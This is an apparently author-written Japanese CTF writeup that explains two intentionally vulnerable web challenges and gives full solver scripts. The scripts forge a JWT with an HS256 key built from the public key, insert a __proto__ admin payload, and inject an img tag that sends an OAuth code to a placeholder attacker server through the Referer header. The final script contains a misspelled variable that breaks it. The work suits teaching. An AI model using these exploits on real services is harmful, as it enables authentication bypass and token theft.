SECCON Beginners CTF 2023[Web] double check, oooauth 作問者writeup
SECCON Beginners CTF 2023で出題したWeb問題double check、oooauthの作問者writeupです。
double check(難易度 Medium)
JWTを用いた認証機能の脆弱性とPrototype Pollutionの脆弱性を連鎖的に悪用する問題です。
問題の実装は以下です。
const express = require("express");
const session = require("express-session");
const jwt = require("jsonwebtoken");
const _ = require("lodash");
const { readKeyFromFile, generateRandomString, getAdminPassword } = require("./utils");
const HOST = process.env.CTF4B_HOST;
const PORT = process.env.CTF4B_PORT;
const FLAG = process.env.CTF4B_FLAG;
const app = express();
app.use(express.json());
app.use(session({
secret: generateRandomString(),
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));
app.post("/register", (req, res) => {
const { username, password } = req.body;
if(!username || !password) {
res.status(400).json({ error: "Please send username and password" });
return;
}
const user = {
username: username,
password: password
};
if (username === "admin" && password === getAdminPassword()) {
user.admin = true;
}
req.session.user = user;
let signed;
try {
signed = jwt.sign(
_.omit(user, ["password"]),
readKeyFromFile("keys/private.key"),
{ algorithm: "RS256", expiresIn: "1h" }
);
} catch (err) {
res.status(500).json({ error: "Internal server error" });
return;
}
res.header("Authorization", signed);
res.json({ message: "ok" });
});
app.post("/flag", (req, res) => {
if (!req.header("Authorization")) {
res.status(400).json({ error: "No JWT Token" });
return;
}
if (!req.session.user) {
res.status(401).json({ error: "No User Found" });
return;
}
let verified;
try {
verified = jwt.verify(
req.header("Authorization"),
readKeyFromFile("keys/public.key"),
{ algorithms: ["RS256", "HS256"] }
);
} catch (err) {
console.error(err);
res.status(401).json({ error: "Invalid Token" });
return;
}
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
verified = _.omit(verified, ["admin"]);
}
const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);
if (token.admin && user.admin) {
res.send(`Congratulations! Here"s your flag: ${FLAG}`);
return;
}
res.send("No flag for you");
});
app.listen(PORT, HOST, () => {
console.log(`Server is running on port ${PORT}`);
});
以下2つのエンドポイントが存在します。
- ユーザーを登録するためのエンドポイント(
/register
)username
とpassword
を受け取って、ユーザーオブジェクトをセッションに保存します。- ユーザーオブジェクトをpayloadとするJWTを発行し、レスポンスの
Authorization
ヘッダにセットします。
- flagを取得するためのエンドポイント(
/flag
)Authorization
ヘッダにセットされたJWTを受け取って検証します。token.admin
とuser.admin
が両方ともtrue
となる場合にflagを返します。
通常はJWTの署名アルゴリズムとしてRS256が使用され、秘密鍵を用いて署名がなされます。
signed = jwt.sign(
_.omit(user, ['password']),
readKeyFromFile('keys/private.key'),
{ algorithm: 'RS256', expiresIn: '1h' }
);
JWTの署名検証部分では、RS256の他にHS256を使用することが可能となっています。
verified = jwt.verify(
req.header('Authorization'),
readKeyFromFile('keys/public.key'),
{ algorithms: ['RS256', 'HS256']
});
ここでは、RS256の公開鍵をHS256の共通鍵として使用する攻撃が可能となります。署名アルゴリズムをHS256に設定したJWTに、配布ファイルから得た公開鍵を用いた署名を付与することで署名の検証をパスできます(参考)。これにより、JWTのpayloadを改ざんすることが可能となりました。
ここでJWTのpayloadにadmin: true
を含めることを考えますが、admin
でない場合はJWTのpayloadのadmin
パラメータが削除されるため、この攻撃は防がれてしまいます。そこで、以下の部分に着目します。
if (req.session.user.username !== "admin" || req.session.user.password !== getAdminPassword()) {
verified = _.omit(verified, ['admin']);
}
const token = Object.assign({}, verified);
const user = Object.assign(req.session.user, verified);
if (token.admin && user.admin) {
res.send(`Congratulations! Here's your flag: ${FLAG}`);
return;
}
ここではObject.assign()
が使用され、verified
の全てのプロパティの値を空のオブジェクトとreq.session.user
にコピーし、それぞれがtoken
とuser
の2つの変数に格納されます。
ここで、jwtのpayloadに__proto__.admin: true
を加えることでtoken.admin && user.admin
の検証をパスできます。これは、jwtのpayloadがJSON.parse()
によってJSON文字列からJavascriptのオブジェクトに変換され、Object.assign()
により__proto__
を介してadmin
パラメータがverified
にコピーされることに起因します(参考)。
> const jwt_payload = '{"__proto__": { "admin": true }}';
> const verified = JSON.parse(jwt_payload);
> verified
{ ['__proto__']: { admin: true } }
> const token = Object.assign({}, verified);
> token.admin
true
最終的に以下のPythonスクリプトを用いてflagを取得することができます。
import os
import json
import sys
import requests
import jwt
import textwrap
def solve(url):
# /register
register_data = {
"username": "alice",
"password": "password"
}
s = requests.Session()
register_response = s.post(f'{url}/register', json=register_data)
if register_response.status_code != 200:
print(f"Register request failed: {register_response.status_code}, {register_response.text}")
sys.exit()
# /flag
payload = {
"__proto__": {
"admin": True
}
}
pubkey = textwrap.dedent('''-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3NcjHBbKAAhJd6P+TviV
h/WRXtxtKBJLPQYIlmZ/I35WlQLpNXR9Q0YiQLMNW0E3MTHISQlQE5hBF8S2Z2tC
0SmiAMr3QQjaIA3vmefA/CXSp4YjIbKz75Nwzczk7spYiVwEbYoLOpovnl+KB6Tj
XJWCFXvgpL6xYu9Se8msgqVIl+cWANlmPdBuDRvF/7KUboHsdZsn1mL88JoTnk9u
sVp9PP+bpbcFEzwzfS+YkjwUhXFHHNPqsu9eKZZlpkRbl3lZzzxgX4G/bh3BkaCO
wp4Pv1ptk8NJH8N96USDw3Lpgc6wGReoyCBY7Dtg1a3IHNjQQwQg+rd+1yUUfPAe
qa9MbLWr3hYQn+9G4SxTwmWptGJLLjZMzfELtGxiZTHlnifP4nHSNJ8WdGJ63YU9
7LiwkWsE8BVIPi+f/oNIbhhgJzGSD57mkdN0wNloN0I+83/0g2TnVSvkSM5ow/E9
h2w/qaT9LfjtYiZbFFc95lwcaR1nUO/hmZ2okTt7Nh5tlefbvHNSyHMFuvTiEanI
xO2kJIXugy9h9pNAX8jlNHNQWT1WM5HI3t8aMcsucjOT9wTWh7Hl0qxrO4f7f2kP
HODGSRQ/uR9czPYtXP4HPAPUToZ9Xzc5Voj3Q/bzRcAnkKH6fmUOtLPd2XhTDTFl
A5kHBxj92CnlYq6/bQdXDy0CAwEAAQ==
-----END PUBLIC KEY-----
''')
forged_jwt = jwt.encode(payload, pubkey, algorithm="HS256")
headers = {
"Authorization": forged_jwt.decode(),
"Content-Type": "application/json"
}
flag_response = s.post(f'{url}/flag', headers=headers)
if flag_response.status_code != 200:
print(f"Get flag request failed: {flag_response.status_code}, {flag_response.text}")
sys.exit()
return flag_response.text
if __name__ == "__main__":
flag = solve("https://double-check.beginners.seccon.games")
print(flag)
$ python3 solver.py
Congratulations! Here's your flag: ctf4b{Pr0707yp3_P0llU710n_f0R_7h3_w1n}
oooauth(難易度 Hard)
OAuth2.0の実装上生まれる複数の脆弱性を連鎖的に悪用する問題です。
OAuth2.0の詳細についてはRFC 6749を参照してください。
client/index.js
がclientの実装、server/index.js
がauthorization serverの実装となっています。
guest
とadmin
の2人のユーザーが存在しており、guest
のパスワードのみわかる状態です。admin
のアクセストークンを取得できるとflagが得られます。
app.post("/flag", (req, res) => {
const access_token_value = req.body.access_token;
const access_token = access_tokens[access_token_value];
...
const user = getUserById(access_token.user_id);
...
if (user.username === "admin") {
res.status(200).send(`Congratulations! Here's your flag: ${FLAG}`);
} else {
res.status(200).send("No flag for you");
}
});
server/index.js
の/auth
の実装を見るとredirect_uri
の検証部分が不適切であり、任意のクエリパラメータを含めることが可能だと分かります。
if (!client.redirect_uris.includes(redirectUrl.origin+redirectUrl.pathname)) {
res.status(400).json({ error: "invalid_request", error_description: "invalid redirect_uri" });
return;
}
また、server/index.js
の/approve
では/auth
からセッション経由で引き継がれたredirect_uri
にクエリパラメータとして認可コードcode
が追加され、そのURLにリダイレクトがなされます。認可コードは/token
においてアクセストークンとの交換に使用されます。
const redirect_uri = req.session.redirect_uri;
...
redirectUrl.searchParams.append("code", code.value);
res.redirect(redirectUrl.href);
server/index.js
ではapp.use(bodyParser.urlencoded({ extended: true }));
が設定されており、リクエストボディの解析にqs
ライブラリが使用されるため、リクエストボディとして送信するオブジェクトが柔軟に操作できます。また、server/index.js
の/token
ではリクエストボディとして送信されるcode
の値が配列の場合に、配列の最後の要素がアクセストークンとの交換に使用され、削除されます。
const codeValue = Array.isArray(req.body.code)? req.body.code.slice(-1)[0] : req.body.code;
const code = codes.get(codeValue);
...
codes.delete(code.value);
そして、authorization serverのReport機能を用いるとserver/index.js
の/auth
エンドポイントにクエリパラメータを付与して送信することができ、リダイレクト先の同意画面にてadmin
のユーザー名とパスワードが入力され送信されます。つまり、ここではadmin
用に認可コードが発行され、アクセストークンとの交換に使用するために消費されます。
await page.goto(SERVER_URL + "/auth" + query, {
waitUntil: "networkidle2",
timeout: 3000,
});
await page.waitForSelector("input[name=username]");
await page.type("input[name=username]", USERNAME);
await page.type("input[name=password]", PASSWORD);
await page.click("input[name=approved]");
ここで、guest
用に発行された認可コードをredirect_uri
のクエリパラメータcode
として送信し、admin
用に発行された認可コードを消費させないことを考えます。この場合、通常は後からクエリパラメータとして追加されるadmin
用に発行されたcode
が配列の最後の要素となります。
> qs.parse('code=guest-code&code=admin-code')
{ code: [ 'guest-code', 'admin-code' ] }
しかし、以下のようにするとguest
用に発行されたcode
を配列の最後の要素にすることができます。これでguest
用に発行された認可コードを消費させ、admin
用に発行された認可コードを消費させないことが可能となりました。あとは、flagを得るためにURLのクエリパラメータに含まれるadmin
用に発行された認可コードを窃取する必要があります。
> qs.parse('code[2]=guest-code&code=hoge&code=admin-code')
{ code: [ 'hoge', 'admin-code', 'guest-code' ] }
ここでclient/views/index.ejs
ではscope
の値の表示に<%- %>
が使用されており、値がエスケープされずに表示される(参考)ことに気づきます。
<% if(scopes) { %>
<p>Your Permissions:</p>
<ul>
<% scopes.forEach(function(scope) { %>
<li><%- scope %></li>
<% }); %>
</ul>
<% }; %>
client/index.js
ではCSPが設定されており、XSSでURLを窃取することは難しそうです。
app.use(function(req, res, next) {
// CSP Setting
const nonce = crypto.randomBytes(8).toString("hex");
req.nonce = nonce;
res.setHeader("Content-Security-Policy", `script-src 'nonce-${nonce}'; connect-src 'self'; base-uri 'self'; object-src 'none';`);
return next();
});
しかし、index.ejs
に<meta name="referrer" content="no-referrer-when-downgrade">
が設定されており、このページから遷移した際のReferer
ヘッダにクエリパラメータを含む遷移元のURLが送信されます(参考)。HTMLインジェクションは可能であるため、img
タグなどをsrc
に自身のサーバに設定した上で挿入するとReferer
ヘッダ経由でURLを窃取することができます。
最終的に以下のスクリプトを用いて生成したクエリパラメータをReport機能で送信することで、admin
用に発行された認可コードを得ることができます。
import requests
import re
import urllib
import json
import time
def solve():
CLIENT_URL = "https://oooauth.beginners.seccon.games:3000"
SERVER_URL = "https://oooauth.beginners.seccon.games:3001"
ATTACKER_URL = "自身のサーバのURL"
s = requests.Session()
auth_params = {
"response_type": "code",
"client_id": "oauth-client",
"scopes": f'<img/src="{ATTACKER_URL}">',
"redirect_uri": f'{CLIENT_URL}/callback'
}
auth_response = s.get(f"{SERVER_URL}/auth", params=auth_params)
approve_data = {
"approved": "true",
"username": "guest",
"password": "guest"
}
approve_response = s.post(f"{SERVER_URL}/approve", data=approve_data, allow_redirects=False)
match = re.search(r'code=([0-9a-f]{32})', approve_response.text)
guest_code = match.group(1)
auth_params = {
"response_type": "code",
"client_id": "oauth-client",
"scopes": "email profile",
"redirect_uri": f"{CLIENT_URL}/callback?code[2]={guest_code}&code=hoge"
}
fishing_query = urllib.parse.urlencode(auth_params)
print(fising_query)
if __name__ == "__main__":
solve()
あとは、admin
用に発行された認可コードを使用してアクセストークンを取得することでflagを得ます。
Congratulations! Here's your flag: ctf4b{J00_4re_7HE_vUlN_cH41n_m457eR_0F_04U7H}